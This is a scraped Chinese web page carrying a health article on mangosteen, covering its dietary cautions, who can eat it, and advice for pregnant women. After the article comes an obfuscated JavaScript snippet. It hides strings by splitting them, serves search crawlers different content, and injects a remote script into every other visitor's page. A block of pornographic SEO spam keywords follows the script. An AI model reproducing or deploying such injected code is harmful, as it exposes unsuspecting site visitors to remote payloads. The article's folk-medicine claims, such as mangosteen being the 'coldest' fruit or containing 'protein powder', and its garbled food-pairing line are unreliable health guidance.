<label id="xjztt"></label>
<rt id="xjztt"></rt>
  • <thead id="xjztt"></thead>
    <label id="xjztt"></label>

      <label id="xjztt"></label>
      <rt id="xjztt"></rt>

      <span id="xjztt"></span>
      當前位置:首頁 > 飲食 > 健康飲食 > 正文

      食用山竹有哪些禁忌

      2016-09-10 21:16:31  來源:360常識網   熱度:
      導語:正常體質的孕婦能吃山竹。山竹含有葉酸、脂肪、蛋白質粉等對孕婦身體有益的物質,應該說從水果中汲取營養成分是十分安全健康的,孕婦可以通過吃山竹來滋養身體。

      食用山竹有哪些禁忌

      食用山竹有哪些禁忌

      食用山竹有哪些禁忌

      挑選山竹的顏色購買山竹時一定要選蒂綠、果軟的新鮮果,否則會買到“死竹”,可用手指輕壓表殼,如果表皮很硬而且干,手指用力仍無法使表皮凹陷,蒂葉顏色暗沉,表示此山竹已太老,不適宜吃了,表殼軟則表示尚新鮮,可食,也可以看看果實下面的蒂瓣,有幾瓣就表示果實內有幾瓣果肉。一般一個山竹內只有一個較大的種子,食用時務必留神。

      適用人群

      一般人都可食用。體弱、病后的人更適合,雖然一般人都可食用山竹,但每天吃3個足矣。因含糖分較高,肥胖者宜少吃,糖尿病者更應忌食。它亦含較高鉀質,故腎病及心臟病人應少吃。

      食用要留神

      食用方法一般為壓破掰開,剝果殼時必須小心翼翼,格外留神,注意不要將紫色或紅色的果殼汁液染在肉瓣上,因為它會影響口味,沾到衣服上也極難洗脫。

      食用宜忌

      山竹相對榴蓮,性偏寒涼,有解熱清涼的作用,可化解脂肪,潤膚降火,若皮膚生瘡,年輕人長青春痘,可生食山竹,也可用山竹煲湯。一王一后,一熱一涼,吃了大補的榴蓮之后,再吃山竹有清熱的功效。山竹富含纖維素,在腸胃中會吸水膨脹,過多食用會引起便秘,若不慎吃過量,可用紅糖煮姜茶解之。另外,正因為山竹是最寒的水果。所以體質虛寒者少吃尚可,多吃不宜,也切勿和西瓜寒涼食物同吃。

      孕婦注意

      正常體質的孕婦能吃山竹。山竹含有葉酸、脂肪、蛋白質粉等對孕婦身體有益的物質,應該說從水果中汲取營養成分是十分安全健康的,孕婦可以通過吃山竹來滋養身體。

      山竹含有豐厚的維生素、礦物質,果肉雪白嫩軟,吃在嘴里甜中略酸,能夠為孕婦補充很多孕婦需要的營養。

      山竹性寒涼,有極佳的降熱解燥功效,是最能與果中之王榴蓮相調和的水果。吃了大補的榴蓮之后,吃幾個山竹可以清熱,既補益身體,又不會上火。

      但是,孕媽媽要千萬注意:山竹中糖分較高,因此妊娠高血壓和妊娠糖尿病患者請勿食用;山竹中含有較高鉀質,患有腎病和心臟病的孕媽媽要少吃;山竹性寒涼,因此體質虛寒的人要少吃;另外,山竹富含纖維素,過多食用會引起便秘,這點孕媽媽不能忽視哦。豆漿、啤酒、白菜、芥菜、苦瓜同吃,如果孕媽媽擔心山竹的寒涼對身體有傷,可以煮著吃或是做菜,水果也可以入菜的。

      轉載申明:360常識網,歡迎分享,轉載請注明出處!
      ?
      if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
      主站蜘蛛池模板: 无码专区久久综合久中文字幕| 伊人久久成人成综合网222| 亚洲第一综合天堂另类专| 三级韩国一区久久二区综合| 国产成人无码综合亚洲日韩| 激情综合婷婷丁香五月蜜桃| 欧美综合欧美视频| 色婷婷综合在线| HEYZO无码综合国产精品227| 欧美日韩综合精品| 亚洲欧美国产∧v精品综合网| 丁香色欲久久久久久综合网| 色综合久久久久综合体桃花网| 色综合视频一区二区三区| 色青青草原桃花久久综合| 丁香色欲久久久久久综合网 | 久久午夜综合久久| 久久综合久久综合亚洲| 亚洲综合色在线观看亚洲| 国产欧美视频综合二区| 亚洲欧美日韩综合在线播放| 日本丶国产丶欧美色综合| 亚洲综合精品一二三区在线| 色综合网天天综合色中文男男| 国产欧美日韩综合一区在线播放| 久久综合日本熟妇| 人人狠狠综合久久亚洲高清| 欧美综合缴情五月丁香六月婷| 色噜噜狠狠色综合日日| 综合久久一区二区三区 | 婷婷综合久久中文字幕| 激情综合丁香五月| 久久天堂AV综合合色蜜桃网| 欧美偷窥清纯综合图区| 亚洲一本综合久久| 人妻 日韩 欧美 综合 制服| 精品久久人人做人人爽综合| 国产成人综合精品一区| 亚洲色婷婷综合开心网| 欧美伊人久久大香线蕉综合| 国产成人无码综合亚洲日韩|